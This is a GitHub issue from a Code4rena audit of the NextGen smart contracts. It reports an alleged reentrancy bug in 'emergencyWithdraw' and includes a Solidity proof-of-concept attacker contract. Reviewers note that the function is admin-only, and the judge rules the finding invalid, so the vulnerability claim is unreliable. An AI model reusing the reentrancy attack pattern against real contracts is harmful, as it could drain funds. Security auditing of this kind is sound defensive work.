code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

Missing Reentry Protection in 'emergencyWithdraw' function #2020

Closed c4-submissions closed 12 months ago

c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L461

Vulnerability details

Ensure that all state changes in emergencyWithdraw are done before the external call to prevent reentrancy attacks. The function is vulnerable to reentrancy attacks due to the use of .call{value: balance}(""). This can be mitigated by adding a reentrancy guard.-

Poc:

contract Malicious {
    VulnerableContract public vulnerableContract;

    constructor(address _vulnerableContractAddress) {
        vulnerableContract = VulnerableContract(_vulnerableContractAddress);
    }

    // Fallback function used to receive Ether and re-enter emergencyWithdraw
    receive() external payable {
        if (address(vulnerableContract).balance >= msg.value) {
            vulnerableContract.emergencyWithdraw();
        }
    }

    function attack() external payable {
        require(msg.value > 0, "Send ETH to attack");
        vulnerableContract.emergencyWithdraw();
    }

    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Assessed type

Reentrancy

c4-pre-sort commented 1 year ago

141345 marked the issue as duplicate of #2039

c4-pre-sort commented 1 year ago

141345 marked the issue as duplicate of #51

c4-pre-sort commented 1 year ago

141345 marked the issue as not a duplicate

c4-pre-sort commented 1 year ago

141345 marked the issue as insufficient quality report

141345 commented 1 year ago

admin func

alex-ppg commented 12 months ago

The Warden specifies that either a re-entrancy protection measure or the CEI pattern should be followed in the emergency function referenced, however, the emergency function does not perform any state changes (apart from an event's emission) after the native transfer and its behaviour cannot be influenced by a re-entrancy. As such, I consider this exhibit invalid.

c4-judge commented 12 months ago

alex-ppg marked the issue as unsatisfactory: Invalid